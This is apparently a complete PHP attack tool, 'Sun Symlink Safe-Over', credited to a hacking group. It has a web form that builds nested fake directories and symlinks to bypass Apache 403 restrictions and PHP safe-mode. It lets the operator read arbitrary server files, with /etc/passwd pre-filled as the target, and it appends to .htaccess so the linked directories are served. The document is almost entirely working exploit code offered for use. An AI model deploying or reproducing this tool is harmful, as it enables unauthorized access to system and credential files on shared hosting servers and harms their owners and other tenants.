Phan Anh Buổi Sáng

<?PHP
###############################
#All Right Reserved By Sun-Army [ Sun-Army.Org]
#Coded By Nitr0jen26 -> nitr0jen26@asia.com
#Break Imperialism Back-Bone
#This Tool:
#1-Bypass Forbidden-403,Access Denied,You Dont Access And...In Symlink Method
#2-Bypass Php Safe-Mode Prior 5.2.12,5.3.1
#3-Support Cgi Bypass Methods
#Version = 1.0.2
###############################
session_start();
$Res = '';
if(is_writable(".")){
if(isset($_POST['file'])){
$file = $_POST['file'];
$fakedir="cx";
$fakedep=16;
if(!(isset($_SESSION['num']))){
$_SESSION['num'] = 0;
}
else{
$_SESSION['num'] = $_SESSION['num'] + 1;
}
$level=0;
@unlink("sun-".$_SESSION['num']);
@mkdir("sun-".$_SESSION['num']);
chdir("sun-".$_SESSION['num']);
for($as=0;$as<$fakedep;$as++){
if(!file_exists($fakedir))
mkdir($fakedir);
chdir($fakedir);
}
while(1<$as--) chdir("..");
$hardstyle = explode("/", $file);
for($a=0;$a<count($hardstyle);$a++){
if(!empty($hardstyle[$a])){
if(!file_exists($hardstyle[$a]))
mkdir($hardstyle[$a]);
chdir($hardstyle[$a]);
$as++;
}
}
$as++;
while($as--)
chdir("..");
@rmdir("sun-fake");
@unlink("sun-fake");
@symlink(str_repeat($fakedir."/",$fakedep),"sun-fake");
if($_POST['type'] == 'file'){
while(1)
if(true==(@symlink("sun-fake/".str_repeat("../",$fakedep-1).$file,"index.html"))) break;
else $num++;
@unlink("sun-fake");
mkdir("sun-fake");
$Res = ' symlink <a href="./sun-'.$_SESSION['num'].'/">symlink'.$num.'</a> file';
}
else{
$fp = fopen(".htaccess",'a+');
$File = 'DirectoryIndex sun.htm';
fwrite($fp,$File);
while(1)
if(true==(@symlink("sun-fake/".str_repeat("../",$fakedep-1).$file,"sun"))) break;
else $num++;
@unlink("sun-fake");
mkdir("sun-fake");
$Res = '<a href="./sun-'.$_SESSION['num'].'/sun">Check It!'.$num.'</a>';
}
}
}
else{
$Res = 'Cant Write In Directory!';
}
If (@ini_get("safe_mode") Or strtoupper(@ini_get("safe_mode")) == "on"){$Safe='On';}Else{$Safe='Off';}
?>
<Html>
<Head>
<Title>Sun Symlink Safe-Over [Apache]</Title>
</Head>
<Body bgcolor="black">
<Center>

<pre>###################################### ################################################## ########################################## ###################################### ################################################## ########################################## ################################################### ################################################## ############################# #################################################################################################################### ############## #################################################################################################################### ############## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ##################################################################################################################################

 
<?PHP echo '<div style="background-color:#101010;color:yellow">Safe-Mode : '.$Safe;?>
<Form action="<?PHP echo $_SERVER["PHP_SELF"]; ?>" method="post">
Path:<Input type="text" name="file" style="background-color:black;color:#FF3300;width:200px;" value="/etc/passwd"> File<input checked type="radio" name="type" value="file"> Dir<input type="radio" name="type" value="Dir"> <Input type="submit" value="Go!" style="width:100px;background-color:black;color:yellow">

</Form>
<?PHP print $Res;?>
<table align="center" style="color:lime">By Nitrojen26</table>
</Center>
</Body>
</Html>

Not Forbidden Error New Symlink Bypass Method